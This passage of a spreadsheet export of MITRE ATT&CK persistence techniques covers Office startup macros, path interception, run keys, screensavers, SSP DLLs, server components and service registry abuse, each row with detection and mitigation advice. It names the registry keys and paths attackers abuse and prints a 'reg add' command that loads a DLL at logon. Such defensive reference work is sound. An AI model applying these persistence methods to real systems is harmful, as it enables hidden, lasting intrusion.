Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1137	1	**Technique**	**Office Application Startup**	Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started. ### Office Template Macros Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template) Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) Word Normal.dotm location:<code>C:\Users\\(username)\AppData\Roaming\Microsoft\Templates\Normal.dotm</code> Excel Personal.xlsb location:<code>C:\Users\\(username)\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB</code> Adversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\Program Files (x86)\Microsoft Office\root\Office16\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros. ### Office Test A Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test) <code>HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf</code> ### Add-ins Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) Add-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins.(Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018) ### Outlook Rules, Forms, and Home Page A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules) Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules) Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook Forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms) Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page) To abuse these features, an adversary requires prior access to the user's Outlook mailbox, either via an Exchange/OWA server or via the client application. Once malicious rules, forms, or Home Pages have been added to the user's mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded while malicious rules and forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)(Citation: SensePost Outlook Forms)(Citation: SensePost Outlook Home Page)	Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019) Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins) Non-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously. For the Outlook rules and forms methods, Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)	Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security) For the Office Test method, create the Registry key used to execute it and set the permissions to "Read Control" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy) Disable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins) For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.(Citation: SensePost Outlook Home Page)	persistence	Process monitoring, Process command-line parameters, Windows Registry, File monitoring	Windows, Office 365	User, Administrator	https://attack.mitre.org/techniques/T1137
T1034	1	**Technique**	**Path Interception**	Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019) There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process. ### Unquoted Paths Service paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018) ### PATH Environment Variable Misconfiguration The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\system32</code> (e.g., <code>C:\Windows\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command	Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.	Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries. Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel). Require that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\Windows\</code>, to reduce places where malicious files could be placed for execution. Identify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables	persistence, privilege-escalation	File monitoring, Process monitoring	Windows	User, Administrator	https://attack.mitre.org/techniques/T1034

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
				is executed from a script or command-line. For example, if <code>C:\example path</code> precedes <code>C:\Windows\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\example path</code> will be called instead of the Windows system "net" when "net" is executed from the command-line. ### Search Order Hijacking Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory. For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property) Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).		auditing and/or blocking unknown executables.					
T1150	**1**	**Technique**	**Plist Modification**	Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)	File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed. Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.	Prevent plist files from being modified by users by making them read-only.	defense-evasion, persistence	File monitoring, Process monitoring, Process command-line parameters	macOS	User, Administrator	https://attack.mitre.org/techniques/T1150
T1205	**1**	**Technique**	**Port Knocking**	Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access. To enable a port, an adversary sends a series of packets with certain characteristics before the port will be opened. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports, but can involve unusual flags, specific strings or other unique characteristics. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system. The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.	Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.	Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.	defense-evasion, persistence	Packet capture, Netflow/Enclave netflow	Linux, macOS	User	https://attack.mitre.org/techniques/T1205
T1013	**1**	**Technique**	**Port Monitors**	A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\Windows\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>. The Registry key contains entries for the following: * Local Port * Standard TCP/IP Port * USB Monitor * WSD Port Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.	* Monitor process API calls to (Citation: AddMonitor). * Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. * New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. * Monitor Registry writes to <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>. * Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)	Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.	persistence, privilege-escalation	File monitoring, API monitoring, DLL monitoring, Windows Registry	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1013
T1504	**1**	**Technique**	**PowerShell Profile**	Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)	Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include: * <code>$PsHome\Profile.ps1</code> * <code>$PsHome\Microsoft.{HostProgram}_profile.ps1</code> * <code>$Home\My Documents\PowerShell\Profile.ps1</code> * <code>$Home\My Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1</code> Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.		persistence, privilege-escalation	Process monitoring, File monitoring, PowerShell logs	Windows	User, Administrator	https://attack.mitre.org/techniques/T1504
T1163	**1**	**Technique**	**Rc.common**	During the boot process, macOS executes <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used. Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).	The <code>/etc/rc.common</code> file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.	Limit privileges of user accounts so only authorized users can edit the rc.common file.	persistence	File monitoring, Process monitoring	macOS	root	https://attack.mitre.org/techniques/T1163

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1108	**1**	**Technique**	**Redundant Access**	Adversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications. Use of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.	Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost. Detection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators. If an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation. For alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information.	Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP) Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	defense-evasion, persistence	Office 365 account logs, Azure activity logs, AWS CloudTrail logs, Stackdriver logs	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1108
T1060	**1**	**Technique**	**Registry Run Keys / Startup Folder**	Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level. The following run keys are created by default on Windows systems: *<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code> *<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code> *<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code> *<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code> The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018) The following Registry keys can be used to set startup folder items for persistence: * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code> * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code> * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code> The following Registry keys can control automatic startup of services during boot: *<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code> *<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code> *<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code> *<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code> Using policy settings to specify startup programs creates corresponding values in either of two Registry keys: *<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code> *<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code> The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</code> and <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell</code> subkeys can automatically launch programs. Programs listed in the load value of the registry key <code>HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> run when any user logs on. By default, the multistring BootExecute value of the registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot. Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.	Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.	Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	persistence	Windows Registry, File monitoring	Windows	User, Administrator	https://attack.mitre.org/techniques/T1060
T1164	**1**	**Technique**	**Re-opened Applications**	Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist</code>. An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).	Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.	Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: <code>defaults write -g ApplePersistence -bool no</code>.	persistence	File monitoring	macOS	User	https://attack.mitre.org/techniques/T1164

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1180	1	**Technique**	**Screensaver**	Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop\</code>) and could be manipulated to achieve persistence: * <code>SCRNSAVE.exe</code> - set to malicious PE path * <code>ScreenSaveActive</code> - set to '1' to enable the screensaver * <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock * <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)	Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.	Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)	persistence	Process monitoring, Process command-line parameters, Windows Registry, File monitoring	Windows	User	https://attack.mitre.org/techniques/T1180
T1101	1	**Technique**	**Security Support Provider**	Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. (Citation: Graeber 2014)	Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)	Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)	persistence	DLL monitoring, Windows Registry, Loaded DLLs	Windows	Administrator	https://attack.mitre.org/techniques/T1101
T1505	1	**Technique**	**Server Software Component**	Adversaries may abuse legitimate extensible development features of server applications to establish persistent access to systems. Enterprise server applications may include features that allow application developers to write and install software to extend the functionality of the main application. Adversaries may install malicious software components to maliciously extend and abuse server applications. ###Transport Agent Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ###SQL Stored Procedures SQL stored procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted). Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as <code>xp_cmdshell</code> for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) Microsoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures, these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR)	Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components. On MSSQL Server, consider monitoring for <code>xp_cmdshell</code> usage.(Citation: NetSPI Startup Stored Procedures)		persistence	File monitoring, Application logs	Windows, Linux	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1505
T1058	1	**Technique**	**Service Registry Permissions Weakness**	Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security) If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Adversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)	Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside 